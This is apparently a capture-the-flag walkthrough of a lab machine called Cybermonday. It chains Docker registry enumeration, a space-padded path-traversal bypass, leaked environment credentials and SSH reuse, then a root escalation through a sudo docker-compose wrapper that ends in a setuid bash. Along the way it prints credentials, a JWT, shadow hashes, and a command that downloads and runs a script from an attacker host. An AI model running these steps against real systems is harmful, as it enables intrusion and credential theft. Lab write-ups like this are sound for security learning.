5000/tcp open  unknown

Docker registry

Most probably registry refers to the Docker Registry. 5000 - Pentesting Docker Registry

(remote) www-data@070370e2cdc4:/tmp$ curl -s http://registry:5000/v2/_catalog
{"repositories":["cybermonday_api"]}
(remote) www-data@070370e2cdc4:/tmp$ curl -s http://registry:5000/v2/cybermonday_api/tags/list
{"name":"cybermonday_api","tags":["latest"]}
(remote) www-data@070370e2cdc4:/tmp$ curl -s http://registry:5000/v2/cybermonday_api/manifests/latest
{
   "schemaVersion": 1,
   "name": "cybermonday_api",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      ...      
      { "blobSum": "sha256:5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7" }
   ],
   "history": [ ... ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "HDVJ:JY37:HRFM:KAJY:6DGE:75IG:O5JJ:UJ7G:55FE:24GH:XLU7:SO4O",
               "kty": "EC",
               "x": "aT3R1kQeqeYm7dNgHcc8FxRh_FexwZnYUMc-FdnZdrI",
               "y": "zzVLdjLrC0mc9pOdaZ3fiU3IJYZ3lAtm6dKz4niXewc"
            },
            "alg": "ES256"
         },
         "signature": "9ENQvyUa0-kBG0lZV-0VE_0WBhxoholdttaHS11cLwxOSKC0sUYkQpgkj9Hiqw_ouoPpI27VbCjcS2tsWxxI7g",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjE5Njg3LCJmb3JtYXRUYWlsIjoiQ24wIiwidGltZSI6IjIwMjQtMTItMDZUMTE6MDA6MzVaIn0"
      }
   ]
}
(remote) www-data@070370e2cdc4:/tmp$ mkdir /tmp/blob_c7
(remote) www-data@070370e2cdc4:/tmp$ tar -xvf /tmp/blob_c7.tar --directory=/tmp/blob_c7
(remote) www-data@070370e2cdc4:/tmp$ cd blob_c7
(remote) www-data@070370e2cdc4:/tmp/blob_c7$ find . -empty -delete 2>/dev/null
(remote) www-data@070370e2cdc4:/tmp/blob_c7$ ls -alh
total 24K
drwxr-xr-x  6 www-data www-data 4.0K Dec  6 11:14 .
drwxrwxrwt  1 root     root     4.0K Dec  6 11:14 ..
lrwxrwxrwx  1 www-data www-data    7 Jun 12  2023 bin -> usr/bin
drwxr-xr-x 21 www-data www-data 4.0K Dec  6 11:14 etc
lrwxrwxrwx  1 www-data www-data    7 Jun 12  2023 lib -> usr/lib
lrwxrwxrwx  1 www-data www-data    9 Jun 12  2023 lib32 -> usr/lib32
lrwxrwxrwx  1 www-data www-data    9 Jun 12  2023 lib64 -> usr/lib64
lrwxrwxrwx  1 www-data www-data   10 Jun 12  2023 libx32 -> usr/libx32
drwx------  2 www-data www-data 4.0K Jun 12  2023 root
lrwxrwxrwx  1 www-data www-data    8 Jun 12  2023 sbin -> usr/sbin
drwxr-xr-x  9 www-data www-data 4.0K Dec  6 11:14 usr
drwxr-xr-x  5 www-data www-data 4.0K Dec  6 11:14 var

Because Im lazy I didn't want to chisel my way, I started writing PHP and it totally didn't take few hours...

<?php

$registry = 'http://registry:5000';
$repo = 'cybermonday_api';
$tag = 'latest'; 
$manifestUrl = "{$registry}/v2/{$repo}/manifests/{$tag}";

$name = md5(rand());
$outputDir = "/tmp/$name";
mkdir($outputDir);

function getManifest($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $response = curl_exec($ch);
    if (curl_errno($ch)) { echo 'Curl error: ' . curl_error($ch) . "\n"; exit(1); }
    curl_close($ch);
    return json_decode($response, true);
}

function downloadLayer($digest) {
    global $registry, $repo, $outputDir;

    $layerUrl = "{$registry}/v2/{$repo}/blobs/{$digest}";
    $filePath = "{$outputDir}/" . explode(":", basename($digest))[1] . ".tar"; 

    echo "Downloading {$digest} to {$filePath}...\n";
    
    $fp = fopen($filePath, 'wb');
    if ($fp === false) { echo "Failed to open file for writing: {$filePath}\n"; exit(1); }

    $ch = curl_init($layerUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FILE, $fp);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_exec($ch);
    if (curl_errno($ch)) { echo 'Curl error: ' . curl_error($ch) . "\n"; exit(1); }
    curl_close($ch);
    fclose($fp);

    echo "Layer saved as {$filePath}\n";
    return $filePath;
}

function unzipLayer($filePath) {
    $extractPath = str_replace(".tar", ".d", $filePath);
    mkdir($extractPath);
    $extractCommand = "tar -xvf {$filePath} -C {$extractPath}";
    $output = shell_exec($extractCommand);
    if ($output === null) { echo "Failed to extract tar file {$filePath}\n"; }
    echo "Extracted to {$extractPath}\n";
}

echo "Fetching manifest for {$repo}:{$tag}...\n";
$manifest = getManifest($manifestUrl);

if (!$manifest) { echo "Failed to decode manifest JSON.\n"; exit(1); }
  
foreach ($manifest['fsLayers'] as $layer) {
    $digest = $layer['blobSum'];
    echo "Downloading layer: {$digest}\n";
    $filePath = downloadLayer($digest);
    unzipLayer($filePath);
}

echo "Docker image {$repo}:{$tag} has been successfully pulled.\n";
?>

Download all the layers:

(remote) www-data@070370e2cdc4:/tmp$ rm -rf /tmp/* 2>/dev/null; curl 10.10.14.113/pullme.php -o /tmp/pullme.php; php /tmp/pullme.php 
(remote) www-data@070370e2cdc4:/tmp$ cd a688c5a1de429959f91f2db7cc699d33/
(remote) www-data@070370e2cdc4:/tmp/a688c5a1de429959f91f2db7cc699d33$ find . -empty -delete
(remote) www-data@070370e2cdc4:/tmp/a688c5a1de429959f91f2db7cc699d33$ find . -name www -type d
./ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e.d/var/www
./beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.d/var/www

/var/www/html contains html, but variables are taken from ENV.

LFI in Logs

LogsController.php seems to be vulnerable to path traversal.

(remote) www-data@070370e2cdc4:/tmp/a688c5a1de429959f91f2db7cc699d33/beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.d/var/www/html/app/controllers$ cat LogsController.php
<?php

namespace app\controllers;

use app\helpers\Api;
use app\models\Webhook;

class LogsController extends Api {
    public function index($request) {
        $this->apiKeyAuth();

        $webhook = new Webhook;
        $webhook_find = $webhook->find("uuid", $request->uuid);

        if (!$webhook_find) { return $this->response(["status" => "error", "message" => "Webhook not found"], 404); }
        if ($webhook_find->action != "createLogFile") { return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400); }

        $actions = ["list", "read"];
        if (!isset($this->data->action) || empty($this->data->action)) { return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400); }
        if ($this->data->action == "read") { if (!isset($this->data->log_name) || empty($this->data->log_name)) { return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400); } }
        if (!in_array($this->data->action, $actions)) { return $this->response(["status" => "error", "message" => "invalid action"], 400); }

        $logPath = "/logs/{$webhook_find->name}/";

        switch ($this->data->action) {
            case "list":
                $logs = scandir($logPath);
                array_splice($logs, 0, 1);
                array_splice($logs, 0, 1);
                return $this->response(["status" => "success", "message" => $logs]);

            case "read":
                $logName = $this->data->log_name;

                if (preg_match("/\.\.\//", $logName)) { return $this->response(["status" => "error", "message" => "This log does not exist"]); }

                $logName = str_replace(' ', '', $logName);

                if (stripos($logName, "log") === false) { return $this->response(["status" => "error", "message" => "This log does not exist"]); }
                if (!file_exists($logPath . $logName)) { return $this->response(["status" => "error", "message" => "This log does not exist"]); }
                $logContent = file_get_contents($logPath . $logName);
                return $this->response(["status" => "success", "message" => $logContent]);
        }
    }
}

The read method is blocking ../ usage, but later on processeds to remove spaces?... . ./ -> ../ One more bypass is that it needs log word to exist in $logName

Path to logs is /webhooks/:uuid/logs

(remote) www-data@070370e2cdc4:/tmp/a688c5a1de429959f91f2db7cc699d33/beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.d/var/www/html/app/routes$ cat Router.php
<?php

namespace app\routes;
use app\core\Controller;

class Router
{
    public static function get()
    {
        return [
            "get" => [
                "/" => "IndexController@index",
                "/webhooks" => "WebhooksController@index"
            ],
            "post" => [
                "/auth/register" => "AuthController@register",
                "/auth/login" => "AuthController@login",
                "/webhooks/create" => "WebhooksController@create",
                "/webhooks/:uuid" => "WebhooksController@get",
                "/webhooks/:uuid/logs" => "LogsController@index"
            ],
            "delete" => [
                "/webhooks/delete/:uuid" => "WebhooksController@delete",
            ]
        ];
    }

When requesting to do any actions we get permission denied, looking into apiKeyAuth method we see it wants a hardcoded key.

(remote) www-data@070370e2cdc4:/tmp/a688c5a1de429959f91f2db7cc699d33/beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.d/var/www/html/app/helpers$ cat Api.php
public function apiKeyAuth() {
    $this->api_key = "22892e36-1770-11ee-be56-0242ac120002";

    if (!isset($_SERVER["HTTP_X_API_KEY"]) || empty($_SERVER["HTTP_X_API_KEY"]) || $_SERVER["HTTP_X_API_KEY"] != $this->api_key) {
        return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
    }
}

![[MySQL Enumeration With PHP.png]]

Writeup-14.png

Get the environment for application

Writeup-15.png
└─$ curl 'http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs' -H 'x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ4Iiwicm9sZSI6ImFkbWluIn0.HCwkfvy7SghF9SrDxYXIkscyehsUIknrG3kRou1wUQk' -H 'X-API-KEY: 22892e36-1770-11ee-be56-0242ac120002' --json '{"log_name":". ./. ./. ./. ./logs/. ./. ./proc/self/environ", "action": "read"}' -s | jq .message -r |
 tr '\0' '\n'
HOSTNAME=e1862f4e1242
PHP_INI_DIR=/usr/local/etc/php
HOME=/root
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
DBPASS=ngFfX2L71Nu
PHP_VERSION=8.2.7
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.2.7.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.2.7.tar.xz
DBHOST=db
DBUSER=dbuser
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBNAME=webhooks_api
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev                make            pkg-config              re2c
PWD=/var/www/html
PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0

SSH (22)

We previously found the /mnt/* directory which had authorized_keys leaking username john, if we try to ssh we are successful.

Creds: john:ngFfX2L71Nu

└─$ ssh john@cybermonday.htb
john@cybermonday:~$ id
uid=1000(john) gid=1000(john) groups=1000(john)

User.txt

john@cybermonday:~$ cat user.txt
9f649b1bf1769b258fd2c1c8487a88be

Privilege Escalation

john@cybermonday:~$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on localhost:
    (root) /opt/secure_compose.py *.yml
john@cybermonday:~$ cat /opt/secure_compose.py
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user(): return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
    whitelist = [f"/home/{get_user()}", "/mnt"]

    for allowed_path in whitelist:
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
            return True
    return False

def check_whitelist(volumes):
    for volume in volumes:
        parts = volume.split(":")
        if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
            return False
    return True

def check_read_only(volumes):
    for volume in volumes:
        if not volume.endswith(":ro"):
            return False
    return True

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):
    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

def create_random_temp_dir():
    letters_digits = string.ascii_letters + string.digits
    random_str = ''.join(random.choice(letters_digits) for i in range(6))
    temp_dir = f"/tmp/tmp-{random_str}"
    return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
    os.makedirs(temp_dir, exist_ok=True)
    shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
    subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
    print("\nSIGINT received. Cleaning up...")
    cleanup(temp_dir)
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)

        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)

We can't use privileged, but we can abuse other things like capabilities and disabling apparmor.

Writeup-16.png
john@cybermonday:/dev/shm$ nano letmein.yml
john@cybermonday:/dev/shm$ cp /bin/bash /home/john/
john@cybermonday:/dev/shm$ sudo /opt/secure_compose.py letmein.yml
---
(remote) root@19447a68246c:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
(remote) root@19447a68246c:/home/john# ls
bash  changelog.txt  logs  user.txt
## No permissions to change binary permissions
(remote) root@19447a68246c:/home/john# chmod 4777 bash
chmod: changing permissions of 'bash': Read-only file system
## Found our mount
(remote) root@19447a68246c:/home/john# mount | grep john
/dev/sda1 on /home/john type ext4 (ro,relatime,errors=remount-ro)
## Remount it as ReadWrite
(remote) root@19447a68246c:/home/john# mount -o remount,rw /dev/sda1 /home/john
(remote) root@19447a68246c:/home/john# mount | grep john
/dev/sda1 on /home/john type ext4 (rw,relatime,errors=remount-ro)
## Change owner, then permissions
(remote) root@19447a68246c:/home/john# chown root:root bash
(remote) root@19447a68246c:/home/john# chmod 4777 bash
---
john@cybermonday:/dev/shm$ ls -alh ~/bash
-rwsrwxrwx 1 root root 1.2M Dec  6 08:49 /home/john/bash
bash-5.1# id
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john)

Root.txt

bash-5.1# cat /root/root.txt
a33008f84b75ee4719fd6c51ceb53064

Shadow

bash-5.1# cat /etc/shadow | grep '\$y'
root:$y$j9T$kndrQlLwiIgjD3Jegw0bP0$8gT7HQZoAIe6owK9kIDzj4qriqKfygMooOkk5go9i40:19506:0:99999:7:::
john:$y$j9T$GjbNtuqeiU3F8AVjXki/F1$E.mwZgDhVYWBR8UfeQDDO91/Z8cGKOW.ec0iK9Xj017:19569:0:99999:7:::

Last updated